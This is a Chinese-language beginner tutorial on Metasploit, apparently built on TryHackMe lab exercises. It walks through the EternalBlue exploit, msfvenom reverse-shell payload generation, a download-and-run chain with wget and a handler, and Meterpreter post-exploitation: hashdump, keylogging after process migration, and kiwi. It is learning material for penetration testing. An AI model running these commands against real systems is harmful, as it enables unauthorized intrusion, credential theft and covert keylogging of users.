Metasploit入门

admin 2024年5月21日20:28:41评论35 views字数 11836阅读39分27秒阅读模式

 

Metasploit入门

msf

支持渗透测试参与的所有阶段,从信息收集到开发后

模块在

/opt/metasploit-framework/embedded/framework/modules

Auxiliary辅助

tree -L auxiliary/

Encoders

tree -L encoders/

Evasion 规避

tree -L evasion/

Exploit

tree -L exploit/

NOPs (No operation)无操作

tree -L 1 nops/

它们在带有 0x90 的 Intel x86 CPU 系列中表示,之后 CPU 在一个周期内将不执行任何操作。它们通常用作缓冲区,以实现一致的payload大小

Payloads

tree -L 1 payloads/

Adapters:适配器包装单个payload以将其转换为不同的格式。例如,普通的单个payload可以包装在 Powershell 适配器中,这将生成一个将执行payload的 powershell 命令

Singles:独立的payload(添加用户、启动notepad.exe等)

Stagers:负责在Metasploit和目标系统之间建立连接通道。在使用暂存payload时很有用。“暂存payload”将首先在目标系统上上传暂存器,然后下载其余payload(暂存)。这提供了一些优势,因为与一次发送的完整payload相比,payload的初始大小相对较小

Stages:阶段:由暂存器下载。这将允许您使用更大尺寸的payload。

Post

tree -L 1 post/

启动!

msfconsole

支持大部分Linux命令,但不支持重定向

history

之前输入的命令

search

search ms17

可以使用cve编号,漏洞名称等

use

msf6 > use exploit/windows/smb/ms17_010_eternalblue 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

use就进入了其中

info 模块详细信息

msf6 exploit(windows/smb/ms17_010_eternalblue) > info

show options 列出命令所需要配置的参数

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.220.191    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf6 exploit(windows/smb/ms17_010_eternalblue) >

告诉了你,需要设置的变量, RHOSTS 和 RPORT

常用参数:

RHOSTS:remote host(目标主机)

可以设置单个 IP 地址或网络范围。这将支持 CIDR(无类别域间路由)表示法(/24、/16 等)或网络范围 (10.10.10.x – 10.10.10.y)。

还可以使用列出目标的文件,每行一个目标,使用 set file:/path/of/the/target_file.txt

RPORT:remote port

目标主机上的被攻击的端口

PYALOAD:

LHOST:攻击机IP地址

LPORT:本地端口

用于反向shell连接的端口

SESSION:会话

使用 Metasploit 与目标系统建立的每个连接都将有一个会话 ID。将其与开发后模块一起使用,这些模块将使用现有连接,连接到目标系统。

set 配置参数

msf6 exploit(windows/smb/ms17_010_eternalblue) >set RHOSTS 10.10.156.156

unset 清除参数, 支持unset all

type

msf6 > search type:auxiliary telnet

搜索结果只包含辅助模块,我们可以将类型设置为辅助模块

back

msf6 auxiliary(scanner/ssh/ssh_login) > back
msf6 > Interrupt: use the 'exit' command to quit
msf6 > 

使用模块

配置好参数后

exploit/run

The exploit -z command will run the exploit and background the session as soon as it opens

Session

成功利用漏洞后,会创建一个会话,是目标主机和Metasploit之间建立的通信

meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

background:会话在后台运行 ctrl + z也可以

session 查看现有对话

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

要想与任何会话对话,session -i 会话Id

msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITYSYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITYSYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

Port Scanning

感觉不如nmap好用。

可以直接运行nmap

UDP service Identification

UDP服务识别

scanner/discovery/udp_sweep 模块将允许快速识别通过 UDP

直接use run 就行了

SMB Scans

msf6 auxiliary(scanner/smb/smb_version) > run

[+] 10.10.12.229:445      - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP ) (signatures:optional)
[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >

需要配置SMBuser,pass_file和rhosts

Metasploit database

在kali上启动数据库

systemctl start postgresql
msfdb init
msfconsole

Metasploit连接数据库

msf6 > db_status

其中有许多工作区来区分项目

msf6 > workspace

创建工作区

msf6 > workspace -a tryhackme

切换工作区

msf6 > workspace 工作区名称

详情-h

msf > workspace -h

这样扫描的结果就会保存在数据库中

msf6 > db_nmap -sV -p- 10.10.12.229

与 -S 该参数一起使用的 services 命令将允许您在环境中搜索特定服务

msf6 > services -S netbios                                                                                       
Services                                                                                                             
========                                                                                                             
                                                                                                                
host          port  proto  name         state  info                                                                              
----          ----  -----  ----         -----  ----                                                                              
10.10.12.229  139   tcp    netbios-ssn  open   Microsoft Windows netbios-ssn

msf6 >

利用漏洞时,show payloads

根据需要改变相应payload

msf6 > set payload 1

当连接到系统后,

操作完

ctrl + z 作为后台

session 显示会话

使用 session -i Id 进入会话

C:Windowssystem32>^Z
Background session 1? [y/N]  y
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell x64/windows  Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation...  10.10.186.44:4444 -> 10.10.12.229:49366 (10.10.12.229)

msf6 exploit(windows/smb/ms17_010_eternalblue) >

background 的目的是会话升级

sessions -u 1
sessions

发现了升级后为session 2

sessions -i 2
meterpreter > 

Meterpreter shell 是 Metasploit 框架中一个强大的工具,用于在受感染的目标系统上执行各种操作。它提供了一个交互式的 shell 界面,使得渗透测试人员可以在目标系统上执行各种命令、浏览文件系统、收集信息等

ctrl + c 退出会话

meteploit利用

使用Msfvenom生成payload

根据目标系统配置,生成payload

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

php的需要更改一下

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

这些都是反向payload,所有需要

exploit/multi/handler模块监听攻击机才能处理

所有LHOST攻击机地址,LPOST本地端口

列出支持的输出格式

msfvenom --list formats

利用实例

  1. 1. 知道一个用户murphy 密码1q2w3e4rssh -p 22 mruphy@目标IP
  2. 2. 连接后,发现是Linux系统,提权sudo su
  3. 3. 在攻击机上创建反向payloadmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
  4. 4. 在同一个目录下启一个HTTP服务器python3 -m http.server 9000
  5. 5. 在目标机上使用wget将rev_shell.elf下载到目标机上
  6. 6. msfconsole
  7. 7. 找到反向监听攻击机的模块exploit/multi/handler
  8. 8. show options利用
  9. 9. payload 也找Linux meterpreter reverse_tcp 配置好run
  10. 10. 成功在目标计算机上获取metepreter会话
  11. 11. 利用hashmap模块获取目标系统上的其他用户的hash值
  12. 12. search Linux gather hashdump
  13. 13. 利用相应模块,set session 1
  14. 14. 得到其他用户的hash值
Metasploit入门

Metepreter

是一种Metasploit的payload,它支持许多有价值的组件的渗透过程,Metepreter在目标系统上运行,并在命令和控制架构中充当代理,将于目标操作系统进行交互。

metepreter它在目标系统的内存中运行,而且在目标系统上会隐藏自己的进程,

metepreter > getpid
Current pid: 1304

结果在目标系统上看1304不是metepreter

msfvenom payloads查询:

root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter
    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager
    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell
    apple_ios/aarch64/meterpreter_reverse_http          Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/aarch64/meterpreter_reverse_https         Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/aarch64/meterpreter_reverse_tcp           Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/armle/meterpreter_reverse_http            Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/armle/meterpreter_reverse_https           Run the Meterpreter / Mettle server payload (stageless)
    apple_ios/armle/meterpreter_reverse_tcp             Run the Meterpreter / Mettle server payload (stageless)
    java/meterpreter/bind_tcp                           Run a meterpreter server in Java. Listen for a connection
    java/meterpreter/reverse_http                       Run a meterpreter server in Java. Tunnel communication over HTTP
    java/meterpreter/reverse_https                      Run a meterpreter server in Java. Tunnel communication over HTTPS
    java/meterpreter/reverse_tcp                        Run a meterpreter server in Java. Connect back stager
    linux/aarch64/meterpreter/reverse_tcp               Inject the mettle server payload (staged). Connect back to the attacker
    linux/aarch64/meterpreter_reverse_http              Run the Meterpreter / Mettle server payload (stageless)
    linux/aarch64/meterpreter_reverse_https             Run the Meterpreter / Mettle server payload (stageless)
    linux/aarch64/meterpreter_reverse_tcp               Run the Meterpreter / Mettle server payload (stageless)
    linux/armbe/meterpreter_reverse_http                Run the Meterpreter / Mettle server payload (stageless)
    linux/armbe/meterpreter_reverse_https               Run the Meterpreter / Mettle server payload (stageless)
    linux/armbe/meterpreter_reverse_tcp                 Run the Meterpreter / Mettle server payload (stageless)
    linux/armle/meterpreter/bind_tcp                    Inject the mettle server payload (staged). Listen for a connection
    linux/armle/meterpreter/reverse_tcp                 Inject the mettle server payload (staged). Connect back to the attacker [...]

metepreter命令

直接help就行

metepreter > help

显示当前正在运行的用户

getuid

可以了自己在目标系统上的权限级别

正在运行的ps进程

ps

migrate 迁移

利用PID迁移

The migrate command
 migrate 命令
meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
meterpreter >

如果在目标上运行了一个文字处理器(eg:word.exe、notepad.exe),可以迁移到此进程并捕获用户的输入

keyscan_start

keyscan_stop

keyscan _dump

使metepreter像键盘记录器一样。

hashdump

SAM(安全账户管理器)数据库将用户的密码存储在windows系统上,这些密码以NTLM(New Technology LAN Manager)格式存储

hashdump命令将列出SAM数据库的内容

search

search -f

meterpreter > search -f flag2.txt
Found 1 result...
    c:WindowsSystem32configflag2.txt (34 bytes)
meterpreter > cat "c:WindowsSystem32configflag2.txt"

Shell 壳

The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell. shell 命令将在目标系统上启动常规命令行 shell。按 CTRL+Z 将帮助您返回 Meterpreter shell。

The shell command shell 命令

meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:Windowssystem32>

Metepreter提供了几个重要的post-exploitation tools

kiwi

meterpreter > load kiwi
meterpreter > help

 

原文始发于微信公众号(SKSEC):【表哥有话说 第111期】Metasploit入门

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月21日20:28:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Metasploit入门https://cn-sec.com/archives/2762670.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息